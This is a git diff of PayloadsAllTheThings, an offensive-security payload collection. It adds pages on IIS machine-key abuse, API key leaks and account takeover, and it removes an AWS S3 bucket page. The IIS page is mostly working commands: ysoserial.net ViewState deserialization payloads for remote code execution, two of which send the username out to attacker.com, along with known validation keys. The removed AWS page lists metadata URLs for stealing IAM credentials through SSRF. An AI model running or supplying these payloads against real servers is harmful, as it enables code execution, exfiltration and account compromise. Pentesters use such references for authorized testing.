||||
|
||||
{% block content %}
|
||||
{{ super() }}
|
||||
<div class="social-container">
|
||||
<b>Share this content</b>
|
||||
<div class="a2a_kit a2a_kit_size_32 a2a_default_style">
|
||||
<a class="a2a_dd" href="https://www.addtoany.com/share"></a>
|
||||
<a class="a2a_button_x"></a>
|
||||
<a class="a2a_button_telegram"></a>
|
||||
<a class="a2a_button_linkedin"></a>
|
||||
<a class="a2a_button_email"></a>
|
||||
<a class="a2a_button_microsoft_teams"></a>
|
||||
</div>
|
||||
<br>
|
||||
<script async src="https://static.addtoany.com/menu/page.js"></script>
|
||||
<script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
|
||||
</div>
|
||||
{% endblock %}
|
||||
|
||||
{% block styles %}
|
||||
{{ super() }}
|
||||
<style>
|
||||
.social-container {
|
||||
float: right;
|
||||
}
|
||||
</style>
|
||||
{% endblock %}
|
||||
23
.github/workflows/check-markdown.yml
vendored
Normal file
23
.github/workflows/check-markdown.yml
vendored
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
name: check-markdown
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- uses: tj-actions/changed-files@v47
|
||||
id: changed-files
|
||||
with:
|
||||
files: '**/*.md'
|
||||
separator: ","
|
||||
|
||||
- uses: DavidAnson/markdownlint-cli2-action@v20
|
||||
if: steps.changed-files.outputs.any_changed == 'true'
|
||||
with:
|
||||
globs: ${{ steps.changed-files.outputs.all_changed_files }}
|
||||
separator: ","
|
||||
config: ./.github/.markdownlint.json
|
||||
35
.github/workflows/mkdocs-build.yml
vendored
Normal file
35
.github/workflows/mkdocs-build.yml
vendored
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
name: mkdocs-build
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# Checks-out submodules
|
||||
- uses: actions/checkout@v5
|
||||
- name: Checkout submodules
|
||||
shell: bash
|
||||
run: |
|
||||
git config --global user.email "no-reply@github.com"
|
||||
git config --global user.name "Swk"
|
||||
git config --global pull.rebase false
|
||||
git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
|
||||
mv docs/.github/overrides .
|
||||
|
||||
- uses: actions/setup-python@v6
|
||||
with:
|
||||
python-version: 3.x
|
||||
- run: pip install mkdocs-material
|
||||
- run: pip install mkdocs-git-revision-date-localized-plugin
|
||||
- run: pip install mkdocs-git-committers-plugin
|
||||
- run: pip install mkdocs-material[imaging]
|
||||
- run: pip install mdx_truly_sane_lists
|
||||
- run: mkdocs gh-deploy --force
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
|
|
@ -1,3 +1,3 @@
|
|||
BuildPDF/
|
||||
.vscode
|
||||
.todo
|
||||
.todo
|
||||
3571
API Key Leaks/Files/MachineKeys.txt
Normal file
3571
API Key Leaks/Files/MachineKeys.txt
Normal file
File diff suppressed because it is too large
Load diff
197
API Key Leaks/IIS-Machine-Keys.md
Normal file
197
API Key Leaks/IIS-Machine-Keys.md
Normal file
|
|
@ -0,0 +1,197 @@
|
|||
# IIS Machine Keys
|
||||
|
||||
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Viewstate Format](#viewstate-format)
|
||||
* [Machine Key Format And Locations](#machine-key-format-and-locations)
|
||||
* [Identify Known Machine Key](#identify-known-machine-key)
|
||||
* [Decode ViewState](#decode-viewstate)
|
||||
* [Generate ViewState For RCE](#generate-viewstate-for-rce)
|
||||
* [MAC Is Not Enabled](#mac-is-not-enabled)
|
||||
* [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
|
||||
* [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
|
||||
* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
|
||||
* [References](#references)
|
||||
|
||||
## Viewstate Format
|
||||
|
||||
ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
|
||||
|
||||
| Format | Properties |
|
||||
| --- | --- |
|
||||
| Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
|
||||
| Base64 + MAC | `EnableViewStateMac=True` |
|
||||
| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
|
||||
|
||||
By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
|
||||
Usually unencrypted viewstate are starting with the string `/wEP`.
|
||||
|
||||
## Machine Key Format And Locations
|
||||
|
||||
A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
|
||||
|
||||
The format of a machineKey is the following.
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
```
|
||||
|
||||
The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
|
||||
|
||||
The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
|
||||
|
||||
The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
|
||||
|
||||
The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
|
||||
|
||||
The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
|
||||
|
||||
```xml
|
||||
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||
```
|
||||
|
||||
Common locations of **web.config** / **machine.config**
|
||||
|
||||
* 32-bits
|
||||
* `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
|
||||
* `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
|
||||
* 64-bits
|
||||
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
|
||||
* `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
|
||||
* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
|
||||
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
|
||||
* `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
|
||||
|
||||
## Identify Known Machine Key
|
||||
|
||||
Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
|
||||
|
||||
* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
|
||||
|
||||
```powershell
|
||||
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
|
||||
____ ____.__ __ .__ __
|
||||
\ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
|
||||
\ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
|
||||
\ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
|
||||
\___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
|
||||
\/ \/ \/ \/ \/
|
||||
|
||||
KEY FOUND!!!
|
||||
Host:
|
||||
Validation Key: XXXXX,XXXXX
|
||||
```
|
||||
|
||||
* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
|
||||
|
||||
```ps1
|
||||
python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
|
||||
Matching MachineKeys found!
|
||||
validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
|
||||
```
|
||||
|
||||
* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
|
||||
|
||||
```powershell
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||
```
|
||||
|
||||
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||
|
||||
```powershell
|
||||
$ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||
[+] ViewState is not encrypted
|
||||
[+] Signature algorithm: SHA1
|
||||
```
|
||||
|
||||
List of interesting machine keys to use:
|
||||
|
||||
* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
|
||||
* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
|
||||
* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
|
||||
|
||||
## Decode ViewState
|
||||
|
||||
* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
|
||||
* [0xacb/viewgen](https://github.com/0xacb/viewgen)
|
||||
|
||||
```powershell
|
||||
viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||
```
|
||||
|
||||
## Generate ViewState For RCE
|
||||
|
||||
First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
|
||||
|
||||
**Requirements**:
|
||||
|
||||
* `__VIEWSTATE`
|
||||
* `__VIEWSTATEGENERATOR`
|
||||
|
||||
### MAC Is Not Enabled
|
||||
|
||||
```ps1
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
|
||||
```
|
||||
|
||||
### MAC Is Enabled And Encryption Is Disabled
|
||||
|
||||
* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
|
||||
|
||||
```ps1
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
|
||||
# --modifier = `__VIEWSTATEGENERATOR` parameter value
|
||||
# --encrypteddata = `__VIEWSTATE` parameter value of the target application
|
||||
```
|
||||
|
||||
* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
# --generator = `__VIEWSTATEGENERATOR` parameter value
|
||||
# --validationkey = validation key from the previous command
|
||||
```
|
||||
|
||||
### MAC Is Enabled And Encryption Is Enabled
|
||||
|
||||
Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
|
||||
|
||||
If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
|
||||
|
||||
* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
|
||||
* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
|
||||
|
||||
```ps1
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
|
||||
## Edit Cookies With The Machine Key
|
||||
|
||||
If you have the `machineKey` but the viewstate is disabled.
|
||||
|
||||
ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
|
||||
|
||||
```powershell
|
||||
# decrypt cookie
|
||||
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||
|
||||
# encrypt cookie (edit Decrypted.txt)
|
||||
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
|
||||
* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
|
||||
* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
|
||||
107
API Key Leaks/README.md
Normal file
107
API Key Leaks/README.md
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
# API Key and Token Leaks
|
||||
|
||||
> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
|
||||
|
||||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Methodology](#methodology)
|
||||
- [Common Causes of Leaks](#common-causes-of-leaks)
|
||||
- [Validate The API Key](#validate-the-api-key)
|
||||
- [Reducing The Attack Surface](#reducing-the-attack-surface)
|
||||
- [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
|
||||
- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
|
||||
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
|
||||
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
|
||||
- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
|
||||
- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
|
||||
- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
|
||||
- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
|
||||
|
||||
```powershell
|
||||
nuclei -t token-spray/ -var token=token_list.txt
|
||||
```
|
||||
|
||||
## Methodology
|
||||
|
||||
- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
|
||||
- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
|
||||
|
||||
### Common Causes of Leaks
|
||||
|
||||
- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
|
||||
|
||||
```py
|
||||
# Example of hardcoded API key
|
||||
api_key = "1234567890abcdef"
|
||||
```
|
||||
|
||||
- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
|
||||
|
||||
```ps1
|
||||
## Scan a Github Organization
|
||||
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
|
||||
|
||||
## Scan a GitHub Repository, its Issues and Pull Requests
|
||||
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
|
||||
```
|
||||
|
||||
- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
|
||||
|
||||
```ps1
|
||||
# Scan a Docker image for verified secrets
|
||||
docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
|
||||
```
|
||||
|
||||
- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
|
||||
|
||||
- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
|
||||
|
||||
### Validate The API Key
|
||||
|
||||
If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
|
||||
|
||||
```yaml
|
||||
patterns:
|
||||
- pattern:
|
||||
name: AWS API Gateway
|
||||
regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
|
||||
confidence: low
|
||||
- pattern:
|
||||
name: AWS API Key
|
||||
regex: AKIA[0-9A-Z]{16}
|
||||
confidence: high
|
||||
```
|
||||
|
||||
Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
|
||||
|
||||
- **Example**: Telegram Bot API Token
|
||||
|
||||
```ps1
|
||||
curl https://api.telegram.org/bot<TOKEN>/getMe
|
||||
```
|
||||
|
||||
## Reducing The Attack Surface
|
||||
|
||||
Check the existence of a private key or AWS credentials before commiting your changes in a GitHub repository.
|
||||
|
||||
Add these lines to your `.pre-commit-config.yaml` file.
|
||||
|
||||
```yml
|
||||
- repo: https://github.com/pre-commit/pre-commit-hooks
|
||||
rev: v3.2.0
|
||||
hooks:
|
||||
- id: detect-aws-credentials
|
||||
- id: detect-private-key
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
||||
- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
|
||||
- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
||||
- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
||||
|
|
@ -1,149 +0,0 @@
|
|||
# Amazon Bucket S3 AWS
|
||||
|
||||
Prerequisites, at least you need awscli
|
||||
|
||||
```bash
|
||||
sudo apt install awscli
|
||||
```
|
||||
|
||||
You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
|
||||
but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
|
||||
|
||||
```javascript
|
||||
aws configure
|
||||
AWSAccessKeyId=[ENTER HERE YOUR KEY]
|
||||
AWSSecretKey=[ENTER HERE YOUR KEY]
|
||||
```
|
||||
|
||||
```javascript
|
||||
aws configure --profile nameofprofile
|
||||
```
|
||||
|
||||
then you can use *--profile nameofprofile* in the aws command
|
||||
|
||||
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
|
||||
|
||||
```bash
|
||||
http://s3.amazonaws.com/[bucket_name]/
|
||||
http://[bucket_name].s3.amazonaws.com/
|
||||
http://flaws.cloud.s3.amazonaws.com/
|
||||
```
|
||||
|
||||
Their names are also listed if the listing is enabled.
|
||||
|
||||
```xml
|
||||
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
|
||||
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
||||
```
|
||||
|
||||
## Basic test - Listing the files
|
||||
|
||||
```bash
|
||||
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
|
||||
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
||||
```
|
||||
|
||||
You can get the region with a dig and nslookup
|
||||
|
||||
```bash
|
||||
$ dig flaws.cloud
|
||||
;; ANSWER SECTION:
|
||||
flaws.cloud. 5 IN A 52.218.192.11
|
||||
|
||||
$ nslookup 52.218.192.11
|
||||
Non-authoritative answer:
|
||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
||||
```
|
||||
|
||||
## Move a file into the bucket
|
||||
|
||||
```bash
|
||||
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
||||
aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
|
||||
```
|
||||
|
||||
```bash
|
||||
aws s3 mv test.txt s3://hackerone.marketing
|
||||
FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
|
||||
|
||||
aws s3 mv test.txt s3://hackerone.files
|
||||
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
|
||||
```
|
||||
|
||||
## Download every things (in an open bucket)
|
||||
|
||||
```powershell
|
||||
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
|
||||
```
|
||||
|
||||
## Check bucket disk size (authenticated) use, --no-sign for un-authenticated
|
||||
|
||||
```powershell
|
||||
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
|
||||
```
|
||||
|
||||
## AWS - Extract Backup
|
||||
|
||||
```powershell
|
||||
aws --profile flaws sts get-caller-identity
|
||||
"Account": "XXXX26262029",
|
||||
|
||||
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
||||
"SnapshotId": "snap-XXXX342abd1bdcb89",
|
||||
|
||||
Create a volume using snapshot
|
||||
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
||||
In Aws Console -> EC2 -> New Ubuntu
|
||||
chmod 400 YOUR_KEY.pem
|
||||
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
||||
|
||||
Mount the volume
|
||||
lsblk
|
||||
sudo file -s /dev/xvda1
|
||||
sudo mount /dev/xvda1 /mnt
|
||||
```
|
||||
|
||||
## Bucket informations
|
||||
|
||||
Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
|
||||
|
||||
```powershell
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/user-data/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
|
||||
```
|
||||
|
||||
For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
|
||||
|
||||
## Bucket Finder
|
||||
|
||||
A cool tool that will search for readable buckets and list all the files in them. It can also be used to quickly find buckets that exist but deny access to listing files.
|
||||
|
||||
```powershell
|
||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
||||
./bucket_finder.rb my_words
|
||||
./bucket_finder.rb --region ie my_words
|
||||
US Standard = http://s3.amazonaws.com
|
||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
||||
Northern California = http://s3-us-west-1.amazonaws.com
|
||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
||||
|
||||
./bucket_finder.rb --download --region ie my_words
|
||||
./bucket_finder.rb --log-file bucket.out my_words
|
||||
```
|
||||
|
||||
Use a custom wordlist for the bucket finder, can be created with
|
||||
|
||||
```powershell
|
||||
List of Fortune1000 company names with permutations on .com, -backup, -media. For example, walmart becomes walmart, walmart.com, walmart-backup, walmart-media.
|
||||
List of the top Alexa 100,000 sites with permutations on the TLD and www. For example, walmart.com becomes www.walmart.com, www.walmart.net, walmart.com, and walmart.
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
|
||||
* https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
|
||||
* https://digi.ninja/projects/bucket_finder.php
|
||||
* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
|
||||
* [FlAWS.cloud Challenge based on AWS vulnerabilities](http://flaws.cloud/)
|
||||
187
Account Takeover/README.md
Normal file
187
Account Takeover/README.md
Normal file
|
|
@ -0,0 +1,187 @@
|
|||
# Account Takeover
|
||||
|
||||
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Password Reset Feature](#password-reset-feature)
|
||||
* [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
|
||||
* [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
|
||||
* [Password Reset via Email Parameter](#password-reset-via-email-parameter)
|
||||
* [IDOR on API Parameters](#idor-on-api-parameters)
|
||||
* [Weak Password Reset Token](#weak-password-reset-token)
|
||||
* [Leaking Password Reset Token](#leaking-password-reset-token)
|
||||
* [Password Reset via Username Collision](#password-reset-via-username-collision)
|
||||
* [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
|
||||
* [Account Takeover via Web Vulnerabilities](#account-takeover-via-web-vulnerabilities)
|
||||
* [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
|
||||
* [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
|
||||
* [Account Takeover via CSRF](#account-takeover-via-csrf)
|
||||
* [References](#references)
|
||||
|
||||
## Password Reset Feature
|
||||
|
||||
### Password Reset Token Leak via Referrer
|
||||
|
||||
1. Request password reset to your email address
|
||||
2. Click on the password reset link
|
||||
3. Don't change password
|
||||
4. Click any 3rd party websites(eg: Facebook, twitter)
|
||||
5. Intercept the request in Burp Suite proxy
|
||||
6. Check if the referer header is leaking password reset token.
|
||||
|
||||
### Account Takeover Through Password Reset Poisoning
|
||||
|
||||
